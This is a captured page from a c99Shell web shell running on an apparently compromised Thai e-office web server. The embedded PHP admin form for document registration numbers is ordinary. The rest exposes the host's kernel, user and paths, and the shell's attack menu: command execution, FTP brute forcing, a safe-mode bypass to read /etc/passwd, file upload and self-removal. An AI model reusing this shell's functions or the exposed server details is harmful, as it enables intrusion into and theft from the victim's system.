!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     runningDeptDoc.php (10.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDt = new doctype($oC);
$oRd = new runningdoc($oC);
$InputThai=$oSys->SearchByInputThai();
$maxgroup=$oDP->SearchMaxDocGroup();
$oRd->SearchByconfirmNoRunAll($maxgroup);
$oRd->GetRecord();
$confirm=$oRd->confirm;
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addrunningDeptDoc" name="addrunningDeptDoc" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">จัดการข้อมูลพื้นฐานในงานสารบรรณ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ตั้งค่าเลขทะเบียนรับ-ส่งหนังสือภายใน/หนังสือเสนอลงนาม</font></legend><br>
        <form name="ff" action="processRunningDeptDoc.php" method="post" target="addrunningDeptDoc">
        <!--  <form name="ff" action="processRunningDeptDoc.php" method="post">    -->
        <input type="hidden" name="process" id="process" value="OK">
        <input type="hidden" name="docGroup" id="docGroup"  value="<? echo $maxgroup?>" >
        <input type="hidden" name="method" id="method">
       <table width="95%" height="22" border="0" align="center"><tr>
       <? if($s=="1"){ ?>
       <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            บันทึกข้อมูลเลขทะเบียนรับ-ส่งหนังสือภายใน/หนังสือเสนอลงนามเรียบร้อยแล้ว</strong></font></td>
        <? 
              if(
$c=="1"){ 
        
?>
        <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            ยืนยันการใช้งานข้อมูลเลขทะเบียนรับ-ส่งหนังสือภายใน/หนังสือเสนอลงนามเรียบร้อยแล้ว</strong></font></td>
        <? ?>
            </tr>
        <tr><td>&nbsp;</td></tr>
       </table>
        <table border="0" width="97%" align="center"><tr><td align="right"><a href="printRunningDeptDocHTML.php" target="_blank"><img src="../picture/print.gif" width="15" height="14" border="0"></a>&nbsp;<a  href="printRunningDeptDocex.php" target="_blank"><img src="../picture/ico_excel.gif" title="พิมพ์ excel"  border="0" style="cursor:pointer;"></a>&nbsp;&nbsp;</td></tr></table>
        <table width="97%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_17'];?>">
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>" height="22"> 
            <td width="23%" align="center"><font size="2"><strong>ทะเบียนหนังสือ</strong></font></td>
            <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนรับ<br>เริ่มต้น</strong></font></td>
            <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนรับ<br>ปัจจุบัน</strong></font></td>
             <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนส่ง<br>เริ่มต้น</strong></font></td>
             <td width="13%" align="center"><font size="2"><strong>เลขทะเบียนส่ง<br>ปัจจุบัน</strong></font></td>
              <td width="12%" align="center"><font size="2"><strong>เลขที่เริ่มต้น<br>&nbsp;</strong></font></td>
              <td width="12%" align="center"><font size="2"><strong>เลขที่<br>ปัจจุบัน</strong></font></td>             
          </tr>
          <? $oDt->RSdoctypeDtAll(); 
                  while(
$oDt->GetRecord()){  
                    if(
$oDt->DtP=="1"){
                            echo 
"<tr height=22><td colspan=8 align=\"left\">&nbsp;&nbsp;"; if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  } echo "ทะเบียน".$oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong></td></tr>";  }         
                    }else{    
            
?>
          <tr height=22>
          <td align="left" height=22 colspan="8">&nbsp;&nbsp;<? if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;<strong>-&nbsp;";  }  ?>ทะเบียน<? echo $oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "</strong>";  } ?></td>
          </tr>
          <?  $oDP->SearchBydeptDateDocGroup2($oDP->SearchMaxDocGroup());
                    while(
$oDP->GetRecord()){
                        
$oRd->SearchBydocGroupDtIDDeptdocNoMixN($maxgroup,$oDt->DtID,$oDP->deptId);
                        
$oRd->GetRecord();
                        if((
$i%2) == 0)
                                          echo 
"<tr bgcolor=\"".$GLOBALS['COLOR_BG_TD_5']."\" height=22>";
                                    else
                                          echo 
"<tr bgcolor=\"".$GLOBALS['COLOR_BG_TABLE_8']."\" height=22>";
            
?>
          <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;<? echo $oDP->deptName?></td>
          <td align="center">
          <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
          <?  if($confirm=="Y"){  if($oRd->receiveNoStart!=0){  echo a2th($oRd->receiveNoStart); }   }else{ ?>
          <input type="text" name="receiveNoStart[<? echo $oDt->DtID?>][<? echo $oDP->deptId?>]"  id="receiveNoStart[<? echo $oDt->DtID?>][<? echo $oDP->deptId?>]"style=text-align:center size="5" maxlength="11" onkeypress="return isNumberKey('<? echo $InputThai?>',event)"   onKeyUp="CheckInputIdx2('<? echo $InputThai?>','receiveNoStart','<? echo $oDt->DtID?>','<? echo $oDP->deptId?>')"   value=<? echo a2th($oRd->receiveNoStart); ?>>
          <? } } ?>
          </td>
          <td align="center"><? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?><? if($confirm=="Y"){  if($oRd->receiveNoStart!=0){   if($oRd->receiveNo=='0'){  echo 'ยังไม่มี<br>การใช้งาน'; }else{  if($oRd->receiveNo=='0'){  echo 'ยังไม่มี<br>การใช้งาน'; }else{    echo  a2th($oRd->receiveNo);  } }   }  }else{   if($oRd->receiveNo=='0'){  echo 'ยังไม่มี<br>การใช้งาน'; }else{ echo a2th($oRd->receiveNo); } } } ?></td>
          <td align="center">
          <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
          <? if($confirm=="Y"){  if($oRd->sendNoStart!=0){  echo a2th($oRd->sendNoStart); }    }else{ ?>
            <input type="text" name="sendNoStart[<? echo $oDt->DtID?>][<? echo $oDP->deptId?>]" id="sendNoStart[<? echo $oDt->DtID?>][<? echo $oDP->deptId?>]" style=text-align:center size="5" maxlength="11" onkeypress="return isNumberKey('<? echo $InputThai?>',event)"   onKeyUp="CheckInputIdx2('<? echo $InputThai?>','sendNoStart','<? echo $oDt->DtID?>','<? echo $oDP->deptId?>')" value=<? echo a2th($oRd->sendNoStart); ?>>
            <? } }?>
          </td>
          <td align="center"><? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?><? if($confirm=="Y"){  if($oRd->sendNoStart!=0){   if($oRd->sendNo=='0'){  echo 'ยังไม่มี<br>การใช้งาน'; }else{    if($oRd->sendNo=='0'){  echo 'ยังไม่มี<br>การใช้งาน'; }else{    echo  a2th($oRd->sendNo);  } } }  }else{    if($oRd->sendNo=='0'){  echo 'ยังไม่มี<br>การใช้งาน'; }else{   echo a2th($oRd->sendNo); }} }?></td>
          <td align="center"><? if($oDt->forRegis!="Y"){ echo "-";  }else{  ?><? if($confirm=="Y"){  if($oRd->regisNoStart!=0){  echo a2th($oRd->regisNoStart); }   }else{ ?><input type="text" name="regisNoStart[<? echo $oDt->DtID?>][<? echo $oDP->deptId?>]"  id="regisNoStart[<? echo $oDt->DtID?>][<? echo $oDP->deptId?>]" style=text-align:center size="5" maxlength="11" onkeypress="return isNumberKey('<? echo $InputThai?>',event)"   onKeyUp="CheckInputIdx2('<? echo $InputThai?>','regisNoStart','<? echo $oDt->DtID?>','<? echo $oDP->deptId?>')" value=<? echo a2th($oRd->regisNoStart); ?>><? } } ?></td>
          <td align="center"><? if($oDt->forRegis!="Y"){ echo "-";  }else{  ?><? if($confirm=="Y"){  if($oRd->regisNoStart!=0){    if($oRd->regisNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";    }else{  echo  a2th($oRd->regisNo);  }  }  }else{    if($oRd->regisNo=='0'){   echo "ยังไม่มี<br>การใช้งาน";     }else{  echo a2th($oRd->regisNo);  }   } ?><? ?></td>
          </tr>
          <?  
                      $i
++; } //while each dept
                  
//show 
             
//while ?>
        </table>
        
      <table align="center" width="85%">
      <tr><td >&nbsp;</td></tr>
      <tr><td colspan="2" align="center">
                      <input type="submit" name="setrunningDeptDoc" value="บันทึก" onClick="return checkFormat();" <? if($confirm=="Y"){  echo "disabled";} ?>>
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = '?mm=1'">
                <? $oRd->SearchBydocGroupNoRunAll($maxgroup); if($oRd->GetRecord()=="1"){ ?>
                <input type="submit" name="setrunningDoc" value="ยืนยันการใช้งาน" onClick="return checkFormat2();" <? if($confirm=="Y"){  echo "disabled";} ?>>
                <? ?>
            </td></tr>
            <? if($confirm=="Y"){  ?>
            <tr><td align="center"><a href="editRunningDeptDocConfirm.php">[&nbsp;<img src="../picture/lock.gif" title="แก้ไขข้อมูลทะเบียนหนังสือ"  border="0" style="cursor:pointer;">&nbsp;แก้ไขข้อมูลเลขทะเบียนรับ-ส่งหนังสือภายใน/หนังสือเสนอลงนามกรณีพิเศษ]</a></td></tr>
            <? ?>
      </table></form>
</fieldset>
  <table width="704" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- 
           กรณีที่ไม่กำหนดเลขทะเบียนรับ-ส่งหนังสือภายใน/หนังสือเสนอลงนาม ในช่อง </font> 
            <input name="textfield" id="textfield"  type="text" size="5" maxlength="2" disabled>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;</font></td>
        </tr>
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; 
           จะหมายถึงต้องการกำหนดเลขทะเบียนรับ-ส่งหนังสือภายใน/หนังสือเสนอลงนาม</font></td>
        </tr>
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; 
           โดยให้ระบบกำหนดเลขทะเบียนเริ่มต้นที่เลข&nbsp;<? echo a2th('1'); ?>&nbsp;อัตโนมัติ</font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function checkFormat(){
        var agree=confirm("คุณต้องการบันทึกข้อมูลทะเบียนหนังสือใช่หรือไม่ ???");
        if (agree){
            //document.ff.method.value="setrunningDeptDoc";
            $("#method").val('setrunningDeptDoc')
            //alert($("#method").val());
            return true ;
        }else{
            return false ;
        }    
}
function checkFormat2(p){
        window.alert("หมายเหตุ :: เมื่อกดยืนยันการใช้งานแล้ว\nจะไม่สามารถเปลี่ยนแปลงข้อมูลทะเบียน \nหนังสือรับ-ส่งหนังสือภายในนี้ได้อีก");
        var agree=confirm("คุณต้องการยืนยันการใช้งานข้อมูลทะเบียนหนังสือนี้ใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="confirm";
            return true ;
        }else{
            return false ;
        }    
}
function checkFormat3(p){
            return true ;
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--